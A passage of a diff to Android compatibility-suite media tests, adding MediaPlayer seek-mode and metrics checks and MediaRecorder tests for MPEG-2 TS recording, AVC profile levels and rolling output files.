+                Thread.sleep(SLEEP_TIME);
+                assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
+            }
+        } finally {
+            mps.forEach(MediaPlayer::release);
+        }
+    }
+
     public void testPlayAudioLooping() throws Exception {
         final int resid = R.raw.testmp3;
 
@@ -1117,6 +1155,80 @@
         mMediaPlayer.stop();
     }
 
+    public void testSeekModes() throws Exception {
+        // This clip has 2 I frames at 66687us and 4299687us.
+        if (!checkLoadResource(
+                R.raw.bbb_s1_320x240_mp4_h264_mp2_800kbps_30fps_aac_lc_5ch_240kbps_44100hz)) {
+            return; // skip
+        }
+
+        mMediaPlayer.setOnSeekCompleteListener(new MediaPlayer.OnSeekCompleteListener() {
+            @Override
+            public void onSeekComplete(MediaPlayer mp) {
+                mOnSeekCompleteCalled.signal();
+            }
+        });
+        mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
+        mMediaPlayer.prepare();
+        mOnSeekCompleteCalled.reset();
+        mMediaPlayer.start();
+
+        final int seekPosMs = 3000;
+        final int timeToleranceMs = 100;
+        final int syncTime1Ms = 67;
+        final int syncTime2Ms = 4300;
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to previous sync or next sync.
+        int cp = runSeekMode(MediaPlayer.SEEK_CLOSEST, seekPosMs);
+        assertTrue("MediaPlayer did not seek to closest position",
+                cp > seekPosMs && cp < syncTime2Ms);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or next sync.
+        cp = runSeekMode(MediaPlayer.SEEK_PREVIOUS_SYNC, seekPosMs);
+        assertTrue("MediaPlayer did not seek to preivous sync position",
+                cp < seekPosMs - timeToleranceMs);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or previous sync.
+        cp = runSeekMode(MediaPlayer.SEEK_NEXT_SYNC, seekPosMs);
+        assertTrue("MediaPlayer did not seek to next sync position",
+                cp > syncTime2Ms - timeToleranceMs);
+
+        // TODO: tighten checking range. For now, ensure mediaplayer doesn't
+        // seek to closest position or previous sync.
+        cp = runSeekMode(MediaPlayer.SEEK_CLOSEST_SYNC, seekPosMs);
+        assertTrue("MediaPlayer did not seek to closest sync position",
+                cp > syncTime2Ms - timeToleranceMs);
+
+        mMediaPlayer.stop();
+    }
+
+    private int runSeekMode(int seekMode, int seekPosMs) throws Exception {
+        final int sleepIntervalMs = 100;
+        int timeRemainedMs = 10000;  // total time for testing
+        final int timeToleranceMs = 100;
+
+        mMediaPlayer.seekTo(seekPosMs, seekMode);
+        mOnSeekCompleteCalled.waitForSignal();
+        mOnSeekCompleteCalled.reset();
+        int cp = -seekPosMs;
+        while (timeRemainedMs > 0) {
+            cp = mMediaPlayer.getCurrentPosition();
+            // Wait till MediaPlayer starts rendering since MediaPlayer caches
+            // seek position as current position.
+            if (cp < seekPosMs - timeToleranceMs || cp > seekPosMs + timeToleranceMs) {
+                break;
+            }
+            timeRemainedMs -= sleepIntervalMs;
+            Thread.sleep(sleepIntervalMs);
+        }
+        assertTrue("MediaPlayer did not finish seeking in time for mode " + seekMode,
+                timeRemainedMs > 0);
+        return cp;
+    }
+
     public void testGetTimestamp() throws Exception {
         final int toleranceUs = 100000;
         final float playbackRate = 1.0f;
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
index 95cb43c..d2b7f23 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTestBase.java
@@ -19,12 +19,19 @@
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.content.res.Resources;
-import android.cts.util.MediaUtils;
 import android.media.MediaPlayer;
+import android.net.Uri;
+import android.os.PersistableBundle;
 import android.test.ActivityInstrumentationTestCase2;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.IOException;
+import java.net.HttpCookie;
+import java.util.List;
 import java.util.logging.Logger;
+import java.util.Map;
+import java.util.Set;
 
 /**
  * Base class for tests which use MediaPlayer to play audio or video.
@@ -187,6 +194,10 @@
         playVideoWithRetries(path, null, null, playTime);
     }
 
+    protected void playLiveAudioOnlyTest(String path, int playTime) throws Exception {
+        playVideoWithRetries(path, -1, -1, playTime);
+    }
+
     protected void playVideoTest(String path, int width, int height) throws Exception {
         playVideoWithRetries(path, width, height, 0);
     }
@@ -216,6 +227,32 @@
         playLoadedVideo(width, height, 0);
     }
 
+    protected void playLiveVideoTest(
+            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+            int playTime) throws Exception {
+        playVideoWithRetries(uri, headers, cookies, null /* width */, null /* height */, playTime);
+    }
+
+    protected void playVideoWithRetries(
+            Uri uri, Map<String, String> headers, List<HttpCookie> cookies,
+            Integer width, Integer height, int playTime) throws Exception {
+        boolean playedSuccessfully = false;
+        for (int i = 0; i < STREAM_RETRIES; i++) {
+            try {
+                mMediaPlayer.setDataSource(getInstrumentation().getTargetContext(),
+                        uri, headers, cookies);
+                playLoadedVideo(width, height, playTime);
+                playedSuccessfully = true;
+                break;
+            } catch (PrepareFailedException e) {
+                // prepare() can fail because of network issues, so try again
+                // playLoadedVideo already has reset the player so we can try again safely.
+                LOG.warning("prepare() failed on try " + i + ", trying playback again");
+            }
+        }
+        assertTrue("Stream did not play successfully after all attempts", playedSuccessfully);
+    }
+
     /**
      * Play a video which has already been loaded with setDataSource().
      *
@@ -232,6 +269,9 @@
         final float leftVolume = 0.5f;
         final float rightVolume = 0.5f;
 
+        boolean audioOnly = (width != null && width.intValue() == -1) ||
+                (height != null && height.intValue() == -1);
+
         mMediaPlayer.setDisplay(mActivity.getSurfaceHolder());
         mMediaPlayer.setScreenOnWhilePlaying(true);
         mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
@@ -275,8 +315,10 @@
         }
 
         mMediaPlayer.start();
-        mOnVideoSizeChangedCalled.waitForSignal();
-        mOnVideoRenderingStartCalled.waitForSignal();
+        if (!audioOnly) {
+            mOnVideoSizeChangedCalled.waitForSignal();
+            mOnVideoRenderingStartCalled.waitForSignal();
+        }
         mMediaPlayer.setVolume(leftVolume, rightVolume);
 
         // waiting to complete
@@ -289,6 +331,44 @@
         } else {
             Thread.sleep(playTime);
         }
+
+        // validate a few MediaMetrics.
+        PersistableBundle metrics = mMediaPlayer.getMetrics();
+        if (metrics == null) {
+            fail("MediaPlayer.getMetrics() returned null metrics");
+        } else if (metrics.isEmpty()) {
+            fail("MediaPlayer.getMetrics() returned empty metrics");
+        } else {
+
+            int size = metrics.size();
+            Set<String> keys = metrics.keySet();
+
+            if (keys == null) {
+                fail("MediaMetricsSet returned no keys");
+            } else if (keys.size() != size) {
+                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+            }
+
+            // we played something; so one of these should be non-null
+            String vmime = metrics.getString(MediaPlayer.MetricsConstants.MIME_TYPE_VIDEO, null);
+            String amime = metrics.getString(MediaPlayer.MetricsConstants.MIME_TYPE_AUDIO, null);
+            if (vmime == null && amime == null) {
+                fail("getMetrics() returned neither video nor audio mime value");
+            }
+
+            long duration = metrics.getLong(MediaPlayer.MetricsConstants.DURATION, -2);
+            if (duration == -2) {
+                fail("getMetrics() didn't return a duration");
+            }
+            long playing = metrics.getLong(MediaPlayer.MetricsConstants.PLAYING, -2);
+            if (playing == -2) {
+                fail("getMetrics() didn't return a playing time");
+            }
+            if (!keys.contains(MediaPlayer.MetricsConstants.PLAYING)) {
+                fail("MediaMetricsSet.keys() missing: " + MediaPlayer.MetricsConstants.PLAYING);
+            }
+        }
+
         mMediaPlayer.stop();
     }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 3fbe8bb..6408e41 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -16,7 +16,6 @@
 package android.media.cts;
 
 import android.content.pm.PackageManager;
-import android.cts.util.MediaUtils;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
@@ -24,30 +23,50 @@
 import android.media.CamcorderProfile;
 import android.media.EncoderCapabilities;
 import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.MediaMetadataRetriever;
 import android.media.MediaRecorder;
 import android.media.EncoderCapabilities.VideoEncoderCap;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.media.MediaRecorder.OnErrorListener;
 import android.media.MediaRecorder.OnInfoListener;
 import android.media.MediaMetadataRetriever;
-import android.os.Environment;
+import android.opengl.GLES20;
 import android.os.ConditionVariable;
+import android.os.Environment;
+import android.os.ParcelFileDescriptor;
+import android.os.PersistableBundle;
+import android.support.test.filters.SmallTest;
+import android.platform.test.annotations.RequiresDevice;
 import android.test.ActivityInstrumentationTestCase2;
 import android.test.UiThreadTest;
 import android.view.Surface;
 
 import android.util.Log;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.RandomAccessFile;
 import java.lang.InterruptedException;
 import java.lang.Runnable;
+import java.util.ArrayList;
 import java.util.List;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+import static android.media.MediaCodecInfo.CodecProfileLevel.*;
+
+@SmallTest
+@RequiresDevice
 public class MediaRecorderTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
     private final String TAG = "MediaRecorderTest";
     private final String OUTPUT_PATH;
@@ -85,10 +104,26 @@
     private File mOutFile2;
     private Camera mCamera;
     private MediaStubActivity mActivity = null;
+    private int mFileIndex;
 
     private MediaRecorder mMediaRecorder;
     private ConditionVariable mMaxDurationCond;
     private ConditionVariable mMaxFileSizeCond;
+    private ConditionVariable mMaxFileSizeApproachingCond;
+    private ConditionVariable mNextOutputFileStartedCond;
+    private boolean mExpectMaxFileCond;
+
+    // movie length, in frames
+    private static final int NUM_FRAMES = 120;
+
+    private static final int TEST_R0 = 0;                   // RGB equivalent of {0,0,0} (BT.601)
+    private static final int TEST_G0 = 136;
+    private static final int TEST_B0 = 0;
+    private static final int TEST_R1 = 236;                 // RGB equivalent of {120,160,200} (BT.601)
+    private static final int TEST_G1 = 50;
+    private static final int TEST_B1 = 186;
+
+    private final static String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
 
     public MediaRecorderTest() {
         super("android.media.cts", MediaStubActivity.class);
@@ -124,9 +159,13 @@
                 mMediaRecorder = new MediaRecorder();
                 mOutFile = new File(OUTPUT_PATH);
                 mOutFile2 = new File(OUTPUT_PATH2);
+                mFileIndex = 0;
 
                 mMaxDurationCond = new ConditionVariable();
                 mMaxFileSizeCond = new ConditionVariable();
+                mMaxFileSizeApproachingCond = new ConditionVariable();
+                mNextOutputFileStartedCond = new ConditionVariable();
+                mExpectMaxFileCond = true;
 
                 mMediaRecorder.setOutputFile(OUTPUT_PATH);
                 mMediaRecorder.setOnInfoListener(new OnInfoListener() {
@@ -173,6 +212,10 @@
         mMaxDurationCond = null;
         mMaxFileSizeCond.close();
         mMaxFileSizeCond = null;
+        mMaxFileSizeApproachingCond.close();
+        mMaxFileSizeApproachingCond = null;
+        mNextOutputFileStartedCond.close();
+        mNextOutputFileStartedCond = null;
         mActivity = null;
         super.tearDown();
     }
@@ -204,6 +247,118 @@
         mMediaRecorder.prepare();
         mMediaRecorder.start();
         Thread.sleep(RECORD_TIME_MS);
+
+
+        // verify some getMetrics() behaviors while we're here.
+        PersistableBundle metrics = mMediaRecorder.getMetrics();
+        if (metrics == null) {
+            fail("MediaRecorder.getMetrics() returned null metrics");
+        } else if (metrics.isEmpty()) {
+            fail("MediaRecorder.getMetrics() returned empty metrics");
+        } else {
+            int size = metrics.size();
+            Set<String> keys = metrics.keySet();
+
+            if (size == 0) {
+                fail("MediaRecorder.getMetrics().size() reports empty record");
+            }
+
+            if (keys == null) {
+                fail("MediaMetricsSet returned no keys");
+            } else if (keys.size() != size) {
+                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+            }
+
+            // ensure existence of some known fields
+            int videoBitRate = metrics.getInt(MediaRecorder.MetricsConstants.VIDEO_BITRATE, -1);
+            if (videoBitRate != VIDEO_BIT_RATE_IN_BPS) {
+                fail("getMetrics() videoEncodeBitrate set " +
+                     VIDEO_BIT_RATE_IN_BPS + " got " + videoBitRate);
+            }
+
+            // valid values are -1.0 and >= 0;
+            // tolerate some floating point rounding variability
+            double captureFrameRate = metrics.getDouble(MediaRecorder.MetricsConstants.CAPTURE_FPS, -2);
+            if (captureFrameRate < 0.) {
+                assertEquals("getMetrics() capture framerate=" + captureFrameRate, -1.0, captureFrameRate, 0.001);
+            }
+        }
+
+
+        mMediaRecorder.stop();
+        checkOutputExist();
+    }
+
+    public void testRecorderMPEG2TS() throws Exception {
+        int width;
+        int height;
+        Camera camera = null;
+        if (!hasCamera()) {
+            MediaUtils.skipTest("no camera");
+            return;
+        }
+        if (!hasMicrophone() || !hasAac()) {
+            MediaUtils.skipTest("no audio codecs or microphone");
+            return;
+        }
+        // Try to get camera profile for QUALITY_LOW; if unavailable,
+        // set the video size to default value.
+        CamcorderProfile profile = CamcorderProfile.get(
+                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
+        if (profile != null) {
+            width = profile.videoFrameWidth;
+            height = profile.videoFrameHeight;
+        } else {
+            width = VIDEO_WIDTH;
+            height = VIDEO_HEIGHT;
+        }
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_2_TS);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.setVideoSize(width, height);
+        mMediaRecorder.setVideoEncodingBitRate(VIDEO_BIT_RATE_IN_BPS);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+        Thread.sleep(RECORD_TIME_MS);
+
+        // verify some getMetrics() behaviors while we're here.
+        PersistableBundle metrics = mMediaRecorder.getMetrics();
+        if (metrics == null) {
+            fail("MediaRecorder.getMetrics() returned null metrics");
+        } else if (metrics.isEmpty()) {
+            fail("MediaRecorder.getMetrics() returned empty metrics");
+        } else {
+            int size = metrics.size();
+            Set<String> keys = metrics.keySet();
+
+            if (size == 0) {
+                fail("MediaRecorder.getMetrics().size() reports empty record");
+            }
+
+            if (keys == null) {
+                fail("MediaMetricsSet returned no keys");
+            } else if (keys.size() != size) {
+                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
+            }
+
+            // ensure existence of some known fields
+            int videoBitRate = metrics.getInt(MediaRecorder.MetricsConstants.VIDEO_BITRATE, -1);
+            if (videoBitRate != VIDEO_BIT_RATE_IN_BPS) {
+                fail("getMetrics() videoEncodeBitrate set " +
+                     VIDEO_BIT_RATE_IN_BPS + " got " + videoBitRate);
+            }
+
+            // valid values are -1.0 and >= 0;
+            // tolerate some floating point rounding variability
+            double captureFrameRate = metrics.getDouble(MediaRecorder.MetricsConstants.CAPTURE_FPS, -2);
+            if (captureFrameRate < 0.) {
+                assertEquals("getMetrics() capture framerate=" + captureFrameRate, -1.0, captureFrameRate, 0.001);
+            }
+        }
+
         mMediaRecorder.stop();
         checkOutputExist();
     }
@@ -391,6 +546,19 @@
         fos.close();
     }
 
+    public void testSetOutputFile() throws Exception {
+        if (!hasCamera()) {
+            return;
+        }
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.setOutputFile(mOutFile);
+        long maxFileSize = MAX_FILE_SIZE * 10;
+        recordMedia(maxFileSize, mOutFile);
+    }
+
     public void testRecordingAudioInRawFormats() throws Exception {
         int testsRun = 0;
         if (hasAmrNb()) {
@@ -454,7 +622,7 @@
     }
 
     public void testRecorderAudio() throws Exception {
-        if (!hasMicrophone() || !hasAmrNb()) {
+        if (!hasMicrophone() || !hasAac()) {
             MediaUtils.skipTest("no audio codecs or microphone");
             return;
         }
@@ -462,7 +630,7 @@
         assertEquals(0, mMediaRecorder.getMaxAmplitude());
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
         mMediaRecorder.setOutputFile(OUTPUT_PATH);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
         mMediaRecorder.setAudioChannels(AUDIO_NUM_CHANNELS);
         mMediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
         mMediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
@@ -470,14 +638,14 @@
     }
 
     public void testOnInfoListener() throws Exception {
-        if (!hasMicrophone() || !hasAmrNb()) {
+        if (!hasMicrophone() || !hasAac()) {
             MediaUtils.skipTest("no audio codecs or microphone");
             return;
         }
         mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
         mMediaRecorder.setMaxDuration(MAX_DURATION_MSEC);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
         mMediaRecorder.prepare();
         mMediaRecorder.start();
         Thread.sleep(RECORD_TIME_MS);
@@ -485,7 +653,7 @@
     }
 
     public void testSetMaxDuration() throws Exception {
-        if (!hasMicrophone() || !hasAmrNb()) {
+        if (!hasMicrophone() || !hasAac()) {
             MediaUtils.skipTest("no audio codecs or microphone");
             return;
         }
@@ -496,7 +664,7 @@
         mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
         mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
         mMediaRecorder.setMaxDuration((int)durationMs);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
         mMediaRecorder.prepare();
         mMediaRecorder.start();
         long startTimeMs = System.currentTimeMillis();
@@ -558,20 +726,338 @@
         checkOutputFileSize(OUTPUT_PATH, fileSize, tolerance);
     }
 
-    private void checkOutputFileSize(final String fileName, long fileSize, long tolerance) {
+    /**
+     * Returns the first codec capable of encoding the specified MIME type, or null if no
+     * match was found.
+     */
+    private static CodecCapabilities getCapsForPreferredCodecForMediaType(String mimeType) {
+        // FIXME: select codecs based on the complete use-case, not just the mime
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (!info.isEncoder()) {
+                continue;
+            }
+
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; j++) {
+                if (types[j].equalsIgnoreCase(mimeType)) {
+                    return info.getCapabilitiesForType(mimeType);
+                }
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Generates a frame of data using GL commands.
+     */
+    private void generateSurfaceFrame(int frameIndex, int width, int height) {
+        frameIndex %= 8;
+
+        int startX, startY;
+        if (frameIndex < 4) {
+            // (0,0) is bottom-left in GL
+            startX = frameIndex * (width / 4);
+            startY = height / 2;
+        } else {
+            startX = (7 - frameIndex) * (width / 4);
+            startY = 0;
+        }
+
+        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glClearColor(TEST_R0 / 255.0f, TEST_G0 / 255.0f, TEST_B0 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
+        GLES20.glScissor(startX, startY, width / 4, height / 2);
+        GLES20.glClearColor(TEST_R1 / 255.0f, TEST_G1 / 255.0f, TEST_B1 / 255.0f, 1.0f);
+        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
+    }
+
+    /**
+     * Generates the presentation time for frame N, in microseconds.
+     */
+    private static long computePresentationTime(
+            long startTimeOffset, int frameIndex, int frameRate) {
+        return startTimeOffset + frameIndex * 1000000 / frameRate;
+    }
+
+    private void testLevel(String mediaType, int width, int height, int framerate,
+            int bitrate, int profile, int requestedLevel, int... expectedLevels) throws Exception {
+        CodecCapabilities cap = getCapsForPreferredCodecForMediaType(mediaType);
+        if (cap == null) { // not supported
+            return;
+        }
+        MediaCodecInfo.VideoCapabilities vCap = cap.getVideoCapabilities();
+        if (!vCap.areSizeAndRateSupported(width, height, framerate)
+            || !vCap.getBitrateRange().contains(bitrate * 1000)) {
+            Log.i(TAG, "Skip the test");
+            return;
+        }
+
+        Surface surface = MediaCodec.createPersistentInputSurface();
+        if (surface == null) {
+            return;
+        }
+        InputSurface encSurface = new InputSurface(surface);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
+        mMediaRecorder.setInputSurface(encSurface.getSurface());
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setOutputFile(mOutFile);
+
+        try {
+            mMediaRecorder.setVideoEncodingProfileLevel(-1, requestedLevel);
+            fail("Expect IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // Expect exception.
+        }
+        try {
+            mMediaRecorder.setVideoEncodingProfileLevel(profile, -1);
+            fail("Expect IllegalArgumentException.");
+        } catch (IllegalArgumentException e) {
+            // Expect exception.
+        }
+
+        mMediaRecorder.setVideoEncodingProfileLevel(profile, requestedLevel);
+        mMediaRecorder.setVideoSize(width, height);
+        mMediaRecorder.setVideoEncodingBitRate(bitrate * 1000);
+        mMediaRecorder.setVideoFrameRate(framerate);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.prepare();
+        encSurface.updateSize(width, height);
+        mMediaRecorder.start();
+
+
+        long startNsec = System.nanoTime();
+        long startTimeOffset =  3000 / framerate;
+        for (int i = 0; i < NUM_FRAMES; i++) {
+            encSurface.makeCurrent();
+            generateSurfaceFrame(i, width, height);
+            long time = startNsec +
+                    computePresentationTime(startTimeOffset, i, framerate) * 1000;
+            encSurface.setPresentationTime(time);
+            encSurface.swapBuffers();
+        }
+
+        mMediaRecorder.stop();
+
         assertTrue(mOutFile.exists());
-        assertEquals(fileSize, mOutFile.length(), tolerance);
-        assertTrue(mOutFile.delete());
+        assertTrue(mOutFile.length() > 0);
+
+        // Verify the recorded file profile/level,
+        MediaExtractor ex = new MediaExtractor();
+        ex.setDataSource(OUTPUT_PATH);
+        for (int i = 0; i < ex.getTrackCount(); i++) {
+            MediaFormat format = ex.getTrackFormat(i);
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            if (mime.startsWith("video/")) {
+                int finalProfile = format.getInteger(MediaFormat.KEY_PROFILE);
+                if (finalProfile != profile) {
+                    fail("Incorrect profile: " + finalProfile + " Expected: " + profile);
+                }
+                int finalLevel = format.getInteger(MediaFormat.KEY_LEVEL);
+                boolean match = false;
+                String expectLvls = new String();
+                for (int level : expectedLevels) {
+                    expectLvls += level;
+                    if (finalLevel == level) {
+                        match = true;
+                        break;
+                    }
+                }
+                if (!match) {
+                    fail("Incorrect Level: " + finalLevel + " Expected: " + expectLvls);
+                }
+            }
+        }
+        mOutFile.delete();
+        if (encSurface != null) {
+            encSurface.release();
+            encSurface = null;
+        }
+    }
+
+    public void testProfileAvcBaselineLevel1() throws Exception {
+        int profile = AVCProfileBaseline;
+
+        if (!hasH264()) {
+            MediaUtils.skipTest("no Avc codecs");
+            return;
+        }
+
+        /*              W    H   fps kbps  profile  request level   expected levels */
+        testLevel(AVC, 176, 144, 15, 64,   profile,  AVCLevel1, AVCLevel1);
+        // Enable them when vendor fixes the failure
+        //testLevel(AVC, 178, 144, 15, 64,   profile,  AVCLevel1, AVCLevel11);
+        //testLevel(AVC, 178, 146, 15, 64,   profile,  AVCLevel1, AVCLevel11);
+        //testLevel(AVC, 176, 144, 16, 64,   profile,  AVCLevel1, AVCLevel11);
+        //testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel1, AVCLevel1b);
+        testLevel(AVC, 176, 144, 15, 64,   profile,  AVCLevel1b, AVCLevel1,
+                AVCLevel1b);
+        // testLevel(AVC, 176, 144, 15, 65,   profile,  AVCLevel2, AVCLevel1b,
+        //        AVCLevel11, AVCLevel12, AVCLevel13, AVCLevel2);
+    }
+
+
+    public void testRecordExceedFileSizeLimit() throws Exception {
+        if (!hasMicrophone() || !hasCamera() || !hasAmrNb() || !hasH264()) {
+            MediaUtils.skipTest("no microphone, camera, or codecs");
+            return;
+        }
+        long fileSize = 128 * 1024;
+        long tolerance = 50 * 1024;
+        List<String> recordFileList = new ArrayList<String>();
+        mFileIndex = 0;
+
+        // Override the handler in setup for test.
+        mMediaRecorder.setOnInfoListener(new OnInfoListener() {
+            public void onInfo(MediaRecorder mr, int what, int extra) {
+                mOnInfoCalled = true;
+                if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_DURATION_REACHED) {
+                    Log.v(TAG, "max duration reached");
+                    mMaxDurationCond.open();
+                } else if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
+                    if (!mExpectMaxFileCond) {
+                        fail("Do not expect MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED");
+                    } else {
+                        Log.v(TAG, "max file size reached");
+                        mMaxFileSizeCond.open();
+                    }
+                } else if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_APPROACHING) {
+                    Log.v(TAG, "max file size is approaching");
+                    mMaxFileSizeApproachingCond.open();
+
+                    // Test passing a read-only FileDescriptor and expect IOException.
+                    if (mFileIndex == 1) {
+                        RandomAccessFile file = null;
+                        try {
+                            String path = OUTPUT_PATH + '0';
+                            file = new RandomAccessFile(path, "r");
+                            mMediaRecorder.setNextOutputFile(file.getFD());
+                            fail("Expect IOException.");
+                        } catch (IOException e) {
+                            // Expected.
+                        } finally {
+                            try {
+                                file.close();
+                            } catch (IOException e) {
+                                fail("Fail to close file");
+                            }
+                        }
+                    }
+
+                    // Test passing a read-only FileDescriptor and expect IOException.
+                    if (mFileIndex == 2) {
+                        ParcelFileDescriptor out = null;
+                        String path = null;
+                        try {
+                            path = OUTPUT_PATH + '0';
+                            out = ParcelFileDescriptor.open(new File(path),
+                                    ParcelFileDescriptor.MODE_READ_ONLY | ParcelFileDescriptor.MODE_CREATE);
+                            mMediaRecorder.setNextOutputFile(out.getFileDescriptor());
+                            fail("Expect IOException.");
+                        } catch (IOException e) {
+                            // Expected.
+                        } finally {
+                            try {
+                                out.close();
+                            } catch (IOException e) {
+                                fail("Fail to close file");
+                            }
+                        }
+                    }
+
+                    // Test passing a write-only FileDescriptor and expect NO IOException.
+                    if (mFileIndex == 3) {
+                        try {
+                            ParcelFileDescriptor out = null;
+                            String path = OUTPUT_PATH + mFileIndex;
+                            out = ParcelFileDescriptor.open(new File(path),
+                                    ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
+                            mMediaRecorder.setNextOutputFile(out.getFileDescriptor());
+                            out.close();
+                            recordFileList.add(path);
+                            mFileIndex++;
+                        } catch (IOException e) {
+                            fail("Fail to set next output file error: " + e);
+                        }
+                    } else if (mFileIndex < 6) {
+                        try {
+                            String path = OUTPUT_PATH + mFileIndex;
+                            File nextFile = new File(path);
+                            mMediaRecorder.setNextOutputFile(nextFile);
+                            recordFileList.add(path);
+                            mFileIndex++;
+                        } catch (IOException e) {
+                            fail("Fail to set next output file error: " + e);
+                        }
+                    }
+                } else if (what ==
+                    MediaRecorder.MEDIA_RECORDER_INFO_NEXT_OUTPUT_FILE_STARTED) {
+                    Log.v(TAG, "Next output file started");
+                    mNextOutputFileStartedCond.open();
+                }
+            }
+        });
+        mExpectMaxFileCond = false;
+        mMediaRecorder.setOutputFile(OUTPUT_PATH + mFileIndex);
+        recordFileList.add(OUTPUT_PATH + mFileIndex);
+        mFileIndex++;
+        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
+        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+        mMediaRecorder.setVideoSize(VIDEO_WIDTH, VIDEO_HEIGHT);
+        mMediaRecorder.setVideoEncodingBitRate(256000);
+        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
+        mMediaRecorder.setMaxFileSize(fileSize);
+        mMediaRecorder.prepare();
+        mMediaRecorder.start();
+
+        // Record total 5 files including previous one.
+        int fileCount = 0;
+        while (fileCount < 5) {
